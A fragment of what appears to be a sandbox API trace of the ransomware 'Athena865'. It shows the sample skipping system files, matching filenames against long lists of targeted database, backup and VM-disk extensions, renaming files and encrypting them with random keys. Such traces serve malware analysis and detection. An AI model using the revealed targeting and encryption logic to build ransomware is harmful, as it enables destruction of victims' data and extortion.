[0082.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.478] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc37fa400, ftCreationTime.dwHighDateTime=0x1ca0b28, ftLastAccessTime.dwLowDateTime=0x6c393490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc37fa400, ftLastWriteTime.dwHighDateTime=0x1ca0b28, nFileSizeHigh=0x0, nFileSizeLow=0x380000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLFLTR.DAT", cAlternateFileName="")) returned 1 [0082.478] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2=".") returned 1 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2="..") returned 1 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2="windows") returned -1 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2="bootmgr") returned 1 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2="temp") returned -1 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2="pagefile.sys") returned -1 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2="boot") returned 1 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2="ids.txt") returned 1 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2="ntuser.dat") returned 1 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2="perflogs") returned -1 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2="MSBuild") returned 1 [0082.479] lstrlenW (lpString="OUTLFLTR.DAT") returned 12 [0082.479] lstrcpyW (in: lpString1=0x241e89e, lpString2="OUTLFLTR.DAT" | out: lpString1="OUTLFLTR.DAT") returned="OUTLFLTR.DAT" [0082.479] lstrlenW (lpString="OUTLFLTR.DAT") returned 12 [0082.479] lstrlenW (lpString="Athena865") returned 9 [0082.479] lstrcmpiW (lpString1="LFLTR.DAT", lpString2="Athena865") returned 1 [0082.479] lstrlenW (lpString=".dll") returned 4 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2=".dll") returned 1 [0082.479] lstrlenW (lpString=".lnk") returned 4 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2=".lnk") returned 1 [0082.479] lstrlenW (lpString=".ini") returned 4 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2=".ini") returned 1 [0082.479] lstrlenW (lpString=".sys") returned 4 [0082.479] lstrcmpiW (lpString1="OUTLFLTR.DAT", lpString2=".sys") returned 1 [0082.479] lstrlenW (lpString="OUTLFLTR.DAT") returned 12 [0082.480] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT.Athena865") returned 65 [0082.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat.athena865"), dwFlags=0x1) returned 1 [0082.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.481] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3670016) returned 1 [0082.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.481] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.481] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.482] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.482] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.482] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380300, lpName=0x0) returned 0x154 [0082.483] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x180300) returned 0x2d50000 [0082.543] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0082.608] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0082.626] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.627] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.627] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.627] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.627] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0082.641] CloseHandle (hObject=0x154) returned 1 [0082.641] CloseHandle (hObject=0x17c) returned 1 [0082.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.649] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eeae600, ftCreationTime.dwHighDateTime=0x1ca5083, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3eeae600, ftLastWriteTime.dwHighDateTime=0x1ca5083, nFileSizeHigh=0x0, nFileSizeLow=0xab940, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLFLTR.DLL", cAlternateFileName="")) returned 1 [0082.649] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2=".") returned 1 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2="..") returned 1 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2="windows") returned -1 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2="bootmgr") returned 1 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2="temp") returned -1 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2="pagefile.sys") returned -1 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2="boot") returned 1 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2="ids.txt") returned 1 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2="ntuser.dat") returned 1 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2="perflogs") returned -1 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2="MSBuild") returned 1 [0082.650] lstrlenW (lpString="OUTLFLTR.DLL") returned 12 [0082.650] lstrcpyW (in: lpString1=0x241e89e, lpString2="OUTLFLTR.DLL" | out: lpString1="OUTLFLTR.DLL") returned="OUTLFLTR.DLL" [0082.650] lstrlenW (lpString="OUTLFLTR.DLL") returned 12 [0082.650] lstrlenW (lpString="Athena865") returned 9 [0082.650] lstrcmpiW (lpString1="LFLTR.DLL", lpString2="Athena865") returned 1 [0082.650] lstrlenW (lpString=".dll") returned 4 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2=".dll") returned 1 [0082.650] lstrlenW (lpString=".lnk") returned 4 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2=".lnk") returned 1 [0082.650] lstrlenW (lpString=".ini") returned 4 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2=".ini") returned 1 [0082.650] lstrlenW (lpString=".sys") returned 4 [0082.650] lstrcmpiW (lpString1="OUTLFLTR.DLL", lpString2=".sys") returned 1 [0082.650] lstrlenW (lpString="OUTLFLTR.DLL") returned 12 [0082.651] lstrlenW (lpString="bak") returned 3 [0082.651] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0082.651] lstrlenW (lpString="ba_") returned 3 [0082.651] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0082.651] lstrlenW (lpString="dbb") returned 3 [0082.651] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0082.651] lstrlenW (lpString="vmdk") returned 4 [0082.651] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0082.651] lstrlenW (lpString="rar") returned 3 [0082.651] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0082.651] lstrlenW (lpString="zip") returned 3 [0082.651] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0082.651] lstrlenW (lpString="tgz") returned 3 [0082.651] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0082.651] lstrlenW (lpString="vbox") returned 4 [0082.651] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0082.651] lstrlenW (lpString="vdi") returned 3 [0082.651] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0082.651] lstrlenW (lpString="vhd") returned 3 [0082.651] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0082.651] lstrlenW (lpString="vhdx") returned 4 [0082.651] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0082.651] lstrlenW (lpString="avhd") returned 4 [0082.651] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0082.651] lstrlenW (lpString="db") returned 2 [0082.651] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0082.651] lstrlenW (lpString="db2") returned 3 [0082.652] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0082.652] lstrlenW (lpString="db3") returned 3 [0082.652] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0082.652] lstrlenW (lpString="dbf") returned 3 [0082.652] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0082.652] lstrlenW (lpString="mdf") returned 3 [0082.652] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0082.652] lstrlenW (lpString="mdb") returned 3 [0082.652] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0082.652] lstrlenW (lpString="sql") returned 3 [0082.652] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0082.652] lstrlenW (lpString="sqlite") returned 6 [0082.652] lstrcmpiW (lpString1="TR.DLL", lpString2="sqlite") returned 1 [0082.652] lstrlenW (lpString="sqlite3") returned 7 [0082.652] lstrcmpiW (lpString1="LTR.DLL", lpString2="sqlite3") returned -1 [0082.652] lstrlenW (lpString="sqlitedb") returned 8 [0082.652] lstrcmpiW (lpString1="FLTR.DLL", lpString2="sqlitedb") returned -1 [0082.652] lstrlenW (lpString="xml") returned 3 [0082.652] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0082.652] lstrlenW (lpString="$er") returned 3 [0082.652] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0082.652] lstrlenW (lpString="4dd") returned 3 [0082.652] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0082.652] lstrlenW (lpString="4dl") returned 3 [0082.652] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0082.652] lstrlenW (lpString="^^^") returned 3 [0082.652] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0082.653] lstrlenW (lpString="abs") returned 3 [0082.653] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0082.653] lstrlenW (lpString="abx") returned 3 [0082.653] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0082.653] lstrlenW (lpString="accdb") returned 5 [0082.653] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0082.653] lstrlenW (lpString="accdc") returned 5 [0082.653] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0082.653] lstrlenW (lpString="accde") returned 5 [0082.653] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0082.653] lstrlenW (lpString="accdr") returned 5 [0082.653] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0082.653] lstrlenW (lpString="accdt") returned 5 [0082.653] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0082.653] lstrlenW (lpString="accdw") returned 5 [0082.653] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0082.653] lstrlenW (lpString="accft") returned 5 [0082.653] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0082.653] lstrlenW (lpString="adb") returned 3 [0082.653] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0082.653] lstrlenW (lpString="adb") returned 3 [0082.653] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0082.653] lstrlenW (lpString="ade") returned 3 [0082.653] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0082.653] lstrlenW (lpString="adf") returned 3 [0082.653] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0082.654] lstrlenW (lpString="adn") returned 3 [0082.654] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0082.654] lstrlenW (lpString="adp") returned 3 [0082.654] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0082.654] lstrlenW (lpString="alf") returned 3 [0082.654] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0082.654] lstrlenW (lpString="ask") returned 3 [0082.654] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0082.654] lstrlenW (lpString="btr") returned 3 [0082.654] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0082.654] lstrlenW (lpString="cat") returned 3 [0082.654] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0082.654] lstrlenW (lpString="cdb") returned 3 [0082.654] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0082.654] lstrlenW (lpString="ckp") returned 3 [0082.654] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0082.654] lstrlenW (lpString="cma") returned 3 [0082.654] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0082.654] lstrlenW (lpString="cpd") returned 3 [0082.654] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0082.654] lstrlenW (lpString="dacpac") returned 6 [0082.654] lstrcmpiW (lpString1="TR.DLL", lpString2="dacpac") returned 1 [0082.654] lstrlenW (lpString="dad") returned 3 [0082.654] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0082.654] lstrlenW (lpString="dadiagrams") returned 10 [0082.654] lstrcmpiW (lpString1="TLFLTR.DLL", lpString2="dadiagrams") returned 1 [0082.654] lstrlenW (lpString="daschema") returned 8 [0082.654] lstrcmpiW (lpString1="FLTR.DLL", lpString2="daschema") returned 1 [0082.654] lstrlenW (lpString="db-journal") returned 10 [0082.654] lstrcmpiW (lpString1="TLFLTR.DLL", lpString2="db-journal") returned 1 [0082.654] lstrlenW (lpString="db-shm") returned 6 [0082.655] lstrcmpiW (lpString1="TR.DLL", lpString2="db-shm") returned 1 [0082.655] lstrlenW (lpString="db-wal") returned 6 [0082.655] lstrcmpiW (lpString1="TR.DLL", lpString2="db-wal") returned 1 [0082.655] lstrlenW (lpString="dbc") returned 3 [0082.655] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0082.655] lstrlenW (lpString="dbs") returned 3 [0082.655] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0082.655] lstrlenW (lpString="dbt") returned 3 [0082.655] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0082.655] lstrlenW (lpString="dbv") returned 3 [0082.655] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0082.655] lstrlenW (lpString="dbx") returned 3 [0082.655] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0082.655] lstrlenW (lpString="dcb") returned 3 [0082.655] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0082.655] lstrlenW (lpString="dct") returned 3 [0082.655] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0082.655] lstrlenW (lpString="dcx") returned 3 [0082.655] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0082.655] lstrlenW (lpString="ddl") returned 3 [0082.655] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0082.655] lstrlenW (lpString="dlis") returned 4 [0082.655] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0082.655] lstrlenW (lpString="dp1") returned 3 [0082.655] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0082.655] lstrlenW (lpString="dqy") returned 3 [0082.655] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0082.655] lstrlenW (lpString="dsk") returned 3 [0082.655] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0082.655] lstrlenW (lpString="dsn") returned 3 [0082.656] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0082.656] lstrlenW (lpString="dtsx") returned 4 [0082.656] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0082.656] lstrlenW (lpString="dxl") returned 3 [0082.656] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0082.656] lstrlenW (lpString="eco") returned 3 [0082.656] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0082.656] lstrlenW (lpString="ecx") returned 3 [0082.656] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0082.656] lstrlenW (lpString="edb") returned 3 [0082.656] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0082.656] lstrlenW (lpString="epim") returned 4 [0082.656] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0082.656] lstrlenW (lpString="fcd") returned 3 [0082.656] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0082.656] lstrlenW (lpString="fdb") returned 3 [0082.656] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0082.656] lstrlenW (lpString="fic") returned 3 [0082.656] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0082.656] lstrlenW (lpString="flexolibrary") returned 12 [0082.656] lstrlenW (lpString="fm5") returned 3 [0082.656] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0082.656] lstrlenW (lpString="fmp") returned 3 [0082.656] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0082.656] lstrlenW (lpString="fmp12") returned 5 [0082.656] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0082.657] lstrlenW (lpString="fmpsl") returned 5 [0082.657] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0082.657] lstrlenW (lpString="fol") returned 3 [0082.657] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0082.657] lstrlenW (lpString="fp3") returned 3 [0082.657] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0082.657] lstrlenW (lpString="fp4") returned 3 [0082.657] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0082.657] lstrlenW (lpString="fp5") returned 3 [0082.657] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0082.657] lstrlenW (lpString="fp7") returned 3 [0082.657] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0082.657] lstrlenW (lpString="fpt") returned 3 [0082.657] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0082.657] lstrlenW (lpString="frm") returned 3 [0082.657] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0082.657] lstrlenW (lpString="gdb") returned 3 [0082.657] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0082.657] lstrlenW (lpString="gdb") returned 3 [0082.657] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0082.657] lstrlenW (lpString="grdb") returned 4 [0082.657] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0082.657] lstrlenW (lpString="gwi") returned 3 [0082.657] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0082.657] lstrlenW (lpString="hdb") returned 3 [0082.657] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0082.657] lstrlenW (lpString="his") returned 3 [0082.657] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0082.657] lstrlenW (lpString="ib") returned 2 [0082.657] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0082.658] lstrlenW (lpString="idb") returned 3 [0082.658] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0082.658] lstrlenW (lpString="ihx") returned 3 [0082.658] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0082.658] lstrlenW (lpString="itdb") returned 4 [0082.658] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0082.658] lstrlenW (lpString="itw") returned 3 [0082.658] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0082.658] lstrlenW (lpString="jet") returned 3 [0082.658] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0082.658] lstrlenW (lpString="jtx") returned 3 [0082.658] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0082.658] lstrlenW (lpString="kdb") returned 3 [0082.658] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0082.658] lstrlenW (lpString="kexi") returned 4 [0082.658] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0082.658] lstrlenW (lpString="kexic") returned 5 [0082.658] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0082.658] lstrlenW (lpString="kexis") returned 5 [0082.658] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0082.658] lstrlenW (lpString="lgc") returned 3 [0082.658] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0082.658] lstrlenW (lpString="lwx") returned 3 [0082.658] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0082.658] lstrlenW (lpString="maf") returned 3 [0082.658] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0082.658] lstrlenW (lpString="maq") returned 3 [0082.658] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0082.658] lstrlenW (lpString="mar") returned 3 [0082.658] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0082.658] lstrlenW (lpString="marshal") returned 7 [0082.658] lstrcmpiW (lpString1="LTR.DLL", lpString2="marshal") returned -1 [0082.659] lstrlenW (lpString="mas") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0082.659] lstrlenW (lpString="mav") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0082.659] lstrlenW (lpString="maw") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0082.659] lstrlenW (lpString="mdbhtml") returned 7 [0082.659] lstrcmpiW (lpString1="LTR.DLL", lpString2="mdbhtml") returned -1 [0082.659] lstrlenW (lpString="mdn") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0082.659] lstrlenW (lpString="mdt") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0082.659] lstrlenW (lpString="mfd") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0082.659] lstrlenW (lpString="mpd") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0082.659] lstrlenW (lpString="mrg") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0082.659] lstrlenW (lpString="mud") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0082.659] lstrlenW (lpString="mwb") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0082.659] lstrlenW (lpString="myd") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0082.659] lstrlenW (lpString="ndf") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0082.659] lstrlenW (lpString="nnt") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0082.659] lstrlenW (lpString="nrmlib") returned 6 [0082.659] lstrcmpiW (lpString1="TR.DLL", lpString2="nrmlib") returned 1 [0082.659] lstrlenW (lpString="ns2") returned 3 [0082.659] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0082.660] lstrlenW (lpString="ns3") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0082.660] lstrlenW (lpString="ns4") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0082.660] lstrlenW (lpString="nsf") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0082.660] lstrlenW (lpString="nv") returned 2 [0082.660] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0082.660] lstrlenW (lpString="nv2") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0082.660] lstrlenW (lpString="nwdb") returned 4 [0082.660] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0082.660] lstrlenW (lpString="nyf") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0082.660] lstrlenW (lpString="odb") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0082.660] lstrlenW (lpString="odb") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0082.660] lstrlenW (lpString="oqy") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0082.660] lstrlenW (lpString="ora") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0082.660] lstrlenW (lpString="orx") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0082.660] lstrlenW (lpString="owc") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0082.660] lstrlenW (lpString="p96") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0082.660] lstrlenW (lpString="p97") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0082.660] lstrlenW (lpString="pan") returned 3 [0082.660] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0082.661] lstrlenW (lpString="pdb") returned 3 [0082.661] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0082.661] lstrlenW (lpString="pdm") returned 3 [0082.661] lstrcmpiW 